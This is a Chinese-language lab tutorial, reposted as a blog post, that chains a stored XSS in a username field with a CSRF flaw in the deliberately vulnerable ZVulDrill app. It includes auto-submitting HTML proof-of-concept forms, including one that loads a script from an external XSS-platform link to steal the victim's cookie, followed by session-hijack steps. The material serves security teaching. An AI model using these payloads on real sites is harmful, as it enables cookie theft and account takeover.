当XSS遇上CSRF

今天我们来介绍一个场景,当xss遇上csrf的时候,是否能打出一套漂亮的组合技能。

实验环境:
     ZvulDirll[请用下面我简单修改过的版本]
     下载地址:链接: http://pan.baidu.com/s/1kUwQ6R9 密码: 92tc

一、安装:
0x00:解压ZVulDrill压缩包,将其放在www目录下,也就是你的网站根目录。
0x01、编辑ZVulDrill\sys\config.php中的数据库账号和密码
0x02、打开mysql终端,创建zvuldrill数据,使用下面的sql语句。
create database zvuldrill;


0x03、然后开始导入sql语句进zvuldrill数据库。
use zvuldrill;
source F:/wamp/www/ZVulDrill/sys/zvuldrill.sql;


0x04、打开浏览器,访问
http://localhost/ZVulDrill/

二、寻找Xss漏洞
0x00、搜索框的xss
一开始打开这个web应用,我们可以大概看到的功能点,比如搜索留言、用户登录和注册、留言。而一般俩说搜索框容易出现xss或者sql注入的问题。
(1)我们先输入一些内容进行搜索,比如2333333。如下图


可以看到,我们搜索的内容显示在页面上。我们右键查看一下元素,观察2333333在什么标签之间。如下图,2333333并没有被什么标签包裹住。


我们将搜索的内容变成<h1>test</h1>,点击回车。可以看到页面上多了一个以h1标签显示的test字符串,也就是这里存在xss漏洞。网站后台并没有净化我们的特殊字符,使得我们输入的数据被当做成是标签来解析。效果如下图。

这里是一个存在XSS漏洞的点。


0x01、
注册一个账号后,登录之后进行测试。

1)像这种留言板,一般在留言处比较容易出现xss漏洞。我们先试试在留言处输入一堆异常字符看看是否会被转义。如下图,我们输入2333'"\&#;<>,点击留言即可。

然后我们右键查看网页源代码,搜索"2333",我们看一下我们异常字符被怎样处理。

可以看到这里2333是被td标签包裹住,要是我们想插入我们的javascript代码,那我们需要先闭合<td>,可是我们的<>都被转义了。这里行不通。


2)我们继续看一看这里有的功能,有个编辑功能。点击进去看看。如下图,这里我们可以修改我们的用户名,而用户名的输出点,当前页面有一个,注意右上角的小框,那里是显示用户的用户名。

我们右键查看元素,查看一下右上角小框是被什么标签所包裹住。如下图,


这里的用户名是被a标签包裹住的,我们尝试一下闭合a标签然后插入一段javascript代码看看。
修改用户名为test</a><script>alert(1)</script><a>
我们点击更新按钮,查看一下效果。


可以看到这里,执行了script标签内的alert函数。也就是这里存在一个注入点。我们修改一下alert的内容,即可获取cookie值。
修改用户名为test</a><script>alert(document.cookie)</script><a>

我们正确的获取到了cookie值,但是这里的xss只能叉自己,我们怎样才能让这里的xss发挥真实的作用,盗取他人的cookie信息,而不仅是自己的呢?


三、CSRF漏洞
     正如CSRF漏洞是伪造别人发出某个请求,致使别人在不知情的情况下执行某个操作,如修改密码、留言、添加用户等等。

0x00、如何测试是否存在CSRF漏洞
1)这里需要用到Brupsuite来对网站后台的防御进行一些分析。第一个是观察发出的请求是否带有随机的Token值;第二个是分析网站后台是否对Referer进行校验。
我们配置好浏览器的代理为Brupsuite监听的端口。点击更新用户名,Brupsuite抓取数据包。如下图

可以看到Post的数据包中并没有出现token字眼,随机数token一般是网站用来防御CSRF的一个措施。除了Token,我们还有两个要点要分析。第一个要点,网站是否校验了请求的Referer,这个Http header是用来表示请求的来源地址是什么。如果是CSRF的话,那么Referer的值将会为空。
2)我们在数据包的空白处右键,send to repeater,发到repeater方便我们修改数据之后重放请求。这里我们将上面Post数据中的Referer那一行删除掉。

删除后,点击Go按钮。返回内容如下图。

返回的数据包将我们重定向到edit.php,我们继续点击follow redirection按钮,观察一下返回的页面内容。


我们再下面的搜索框那里输入demo11,可以发现有两处匹配到了。说明我们这里修改成功,在Http header没有附带Referer的情况下。


3)接下来我们要对最后一个要素进行验证,就是Post数据中的id参数。我们要验证id参数的存在是否影响我们修改用户名。我们同样是在Repeater里面,把Post数据中的id参数删除掉,同时我们把username也修改成demo22,用来与上一次的修改区分开。如下图。


修改完成之后,我们点击Go按钮,让数据包发送。如下图,返回的响应还是302,将我们重定向edit.php,但是页面中还有Php的Notice信息,提醒我们id变量不存在。


我们继续点击follow redirection。然后再右下角的搜索框那里搜索demo22。


可以看到在下图,demo22出现了两次,说明我们修改成功。也就是说,这里的id参数并没有影响我们修改用户名。通过上面的两次分析。我们可以确定这里存在着CSRF漏洞。下面我们写一个简单的页面去测试。


4)测试CSRF的Poc
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>测试CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
       <input type="hidden" name="username" value="hacker" class="form-control" id="inputEmail">
    <input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
    var formTag = document.getElementById("Poc");
    formTag.submit();
</script>
</body>
</html>
我们复制上面的内容到文本编辑器,然后保存为poc.html。然后在登录了Zvudrill之后,在同一浏览器打开poc.html。
下图是我的brupsuite抓取到poc发送到网站的请求,可以发现并没有Referer值。

我们把brupsuite的代理功能关闭。然后查看一下Poc的效果。


可以看到下图中的用户名已经被修改成hacker。


四、综合利用
1)、经过上面的分析,我们知道更新用户名这里的username并没有过滤特殊字符可以造成xss,然后更新用户名发送的请求存在CSRF,可以在用户点击的时候,修改用户的用户名。因而我们可以写出下面的Poc。
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>测试CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
       <input type="hidden" name="username" value="demo</a><script>alert(document.cookie)</script><a>" class="form-control" id="inputEmail">
    <input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
    var formTag = document.getElementById("Poc");
    formTag.submit();
</script>
</body>
</html>
我们点击源代码为上述代码的html页面之后,将会出现这样的效果。



2)当然,我们这里的value还可以是包含一段恶意的js代码,可以窃取当前用户的cookie到xss平台。之后便可以使用盗取的cookie全仿造用户的身份去做其他操作了。
下面我使用Xss平台的一个盗取cookie的链接,Xss平台的注册地址
Poc如下:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>测试CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
       <input type="hidden" name="username" value="test</a><script src=http://t.cn/RG3kRlu></script><a>" class="form-control" id="inputEmail">
    <input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
    var formTag = document.getElementById("Poc");
    formTag.submit();
</script>
</body>
</html>


[1]我在Firefox浏览器进行登录,然后再Firefox浏览器打开poc.html。然后在chrome浏览器利用cookie进行登录。
在登录Firefox进行登录,如下图


我们再Firefox中打开poc.html,如下图


[2]我们登录xss平台,找到创建的项目。可以看到已经获取到了受害者的cookie。


[3]利用盗取的cookie,在chrome浏览器直接仿造身份。
step1:访问Xss平台中获取的Referer的url


step2:通过Chrome的EditThisCookie插件,重写我们的cookie。


step3:再次访问Referer对应的url,观察效果。如图



五、写在最后
     写在最后,在攻防中重要的是人思考漏洞,对待漏洞的思路。在有想法的白帽子手中,不同漏洞的组合会起到高危漏洞的效果。我们不能期待每一次都遇到高危漏洞,我们只能改变我们对待漏洞的看法。
     年后回来,搬家,新的工作内容,各种事情需要我去适应,也没有抽出时间来更新自己的博客和发表文章,但是想分享的心一直都在。

转自:http://bbs.51cto.com/thread-1320611-1.html

评论
热度(11)
  1. evil_webshell涵舐渊 转载了此文字
  2. evil_webshell涵舐渊 转载了此文字
  3. 杨贵妃妃building 转载了此文字
  4. D ’ blogbuilding 转载了此文字
  5. redboybuilding 转载了此文字
  6. 涵舐渊building 转载了此文字
© building / Powered by LOFTER